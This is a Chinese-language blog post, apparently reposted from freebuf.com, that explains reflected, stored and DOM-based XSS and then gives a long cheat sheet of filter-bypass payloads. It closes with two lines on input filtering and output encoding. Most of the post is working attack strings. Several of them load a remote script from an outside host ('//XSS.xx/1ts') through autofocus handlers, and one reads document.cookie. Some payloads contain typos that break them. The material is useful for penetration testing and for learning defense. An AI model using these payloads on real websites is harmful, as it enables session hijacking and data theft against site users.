XSS攻击、BYPASS及防御 – 作者:Pretty

攻击

  • 反射型XSS

前端 -> 后端 -> 前端

在URL中+<script>alert(1)</script>

  1. 一般存在在id=xxx
  2. 将xxx替换为<script>alert(1)</script>,观察页面是否弹出”1”
  3. 若成功弹出,则存在反射型xss注入漏洞
  • 存储型XSS

前端 -> 后端 -> 数据库 -> 前端

     输入框中的内容会存储在数据库中,然后回显在网页上

  1. 一般存在在留言框和页面搜索框中
  2. <script>alert(1)</script>
  3. 若成功弹出“1”,且在页面上有回显,则存在存储型XSS漏洞
  • DOM型XSS

前端 HTML

输入框中的内容会出现在HTML标签中,通过构造payload,实现弹窗

例:<a href=’1’> Please check here!</a>

payload: #’oneclick=”alert(111)”>

  1. 一般存在搜索框中
  2. 查看网页源代码构造payload
  3. 若成功弹出“1”,且在页面上有回显,则存在DOM型XSS漏洞

bypass

<script>alert(1)</script>

  1. 大小写绕过

 <SCRIpt>AlerT(1)</SCRipt>

  1. HTML标签绕过

<img scr=javascript:alter(1)></img>

<img src=# onerror=alert(1)></img>

<img src=# onmoseover=alert(1)></img>

<IMG SRC=javascript:alert(&quot;XSS&quot;)>       

使用TAB绕过:

<IMG SRC=”jav ascript:alert(‘XSS’);”>

<a href=# onmouseover=alert(1)>text xss</a>

<a href=”javascript:alert(/test/)”>link</a>

<a onmouseover=”alert(document.cookie)”>xss link</a>

<iframe/onload=alert(/1/);></iframe>

<svg/onload=alert(/1/);>

<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>

<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

<IMG LOWSRC=”javascript:alert(‘XSS’)”>

<svg/onload=alert(‘XSS’)>

  1. 特殊函数绕过

   <keygen autofocus onfocus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>

<textarea autofocus onfocus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>

  1. 关键字替换

” onerror=alert(1) “

<BODY onload=”alert(‘XSS’)”>

<IMG SRC=”” onerror=”alert(‘XSS’)”>

  1. 不常见标签绕过

<details open ontoggle=prompt(1)>

<button onfocus=prompt(1) autofocus>

<select autofocus onfocus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>

  1. 双写绕过
  2. ” onerror=alert(1) “
  3. ‐prompt(1)‐
  4. 编码转换

十六进制

HTML实体字符

  1. 引号被过滤
  • 使用“/”替换单引号
  • fromCharCode

fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串

括号中添加一个或多个unicode值

<script>alert(‘insight-labs’)</script>  —–>  <script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>

  • hash

<script>eval(location.hash.slice(1))</script>#alert(‘a’)

  • 重音符混淆绕过

<IMG SRC=javascript:alert(“RSnake says, ‘XSS'”)>

  1. 空格被过滤

%0a、%0b、&NewLine:含义是回车(Enter)

  1. 冒号被过滤

&colon

漏洞修复

  1. 过滤输入的非法字符
  2. 对输出到页面的内容进行编码的转换,HTML、JavaScript等

 

来源:freebuf.com 2020-08-10 16:01:22 by: Pretty

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论